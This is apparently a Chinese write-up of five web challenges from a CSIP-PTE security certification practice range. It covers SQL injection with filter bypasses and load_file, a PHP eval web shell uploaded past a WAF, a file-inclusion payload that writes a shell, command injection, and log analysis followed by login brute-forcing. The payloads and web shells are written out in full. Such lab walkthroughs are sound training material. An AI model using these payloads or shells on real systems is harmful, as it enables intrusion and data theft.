CSIP-PTE安全认证实操题有五道web题,一道综合题,这篇文章只分享5道web题,此靶场为模拟靶场。
SQL注入
通过页面提示,我们要利用sql注入读取/tmp/360/key文件,读取的话就要用到load_file命令来去获取文件信息
通过测试得知,该传值方式为POST方式传值,这里也可以看到返回的sql语句。 输入id=1’) and 1#,发现返回的sql语句过滤了空格。 将空格用/**/代替,值正常返回构造sql语句,查看有多少个显示位,当显示位为5时,则页面不显示数据,所以有4个显示位。
id=1')/**/order/**/by/**/5
通过联合查询来获取显示位,发现union被过滤
id=-1')/**/union/**/select/**/1,2,3,4
尝试双写union来绕过
id=-1')/**/ununionion/**/select/**/1,2,3,4
利用load_file来获取flag值
id=-1')/**/ununionion/**/select/**/1,2,3,load_file('/tmp/360/key')
文件上传
通过提示得知,需要绕过waf才能上传文件至服务器,flag在/key.php中。 先编写一句话木马,将一句话木马保存在eval.php中
<?php @eval($_POST[shell])?>
通过burp去重放去修改,尝试绕过waf。 将文件后缀名修改成pht,将文件类型修改成image/gif 添加文件头GIF89a,点击发送可以看到上传成功,利用中国蚁剑连接。 查看key.php文件
文件包含
通过url可以得知是GET传值,可以利用伪协议写入一句话木马<?php $a = fopen('./1.php','w'); fwrite($a,'<?php eval($_POST[shell])?>'); fclose($a); ?> 连接成功 得到flag
命令执行
在输入框内依次输入’$,$$,|,||,;'看哪些被过滤了 发现都没过滤,我个人喜欢用‘;’,所以下列情况则是通过‘;’来测试。 输入;find / -name "key.php" 找到key.php的路径,那么只需要通过cat去看key.php内容即可
;cat /app/key.php
cat被过滤了,那么用另外的方式去查看该文件
;grep '' /app/key.php
出来了一句话,但没有完全显示 F12查看代码,得到flag
日志分析
通过提示,我们应该重点关注IP为172.16.12.12的操作,将日志文件下载下来,具体分析。 首先筛选出IP,ctrl+f打开查找,输入IP,点击在当前文件中查找 就会得到下列的搜索结果,再将其过滤一遍,只搜索返回值为200的数据。 右键点击在此搜索结果中查找数据 搜索关键字:200 可以看到这里有个疑似是管理后台的url 在浏览器将其打开 利用爆破尝试爆破账号,密码 发现账号:admin 密码:password123页面状态码为302,可能发生跳转 尝试登录,得到flag
|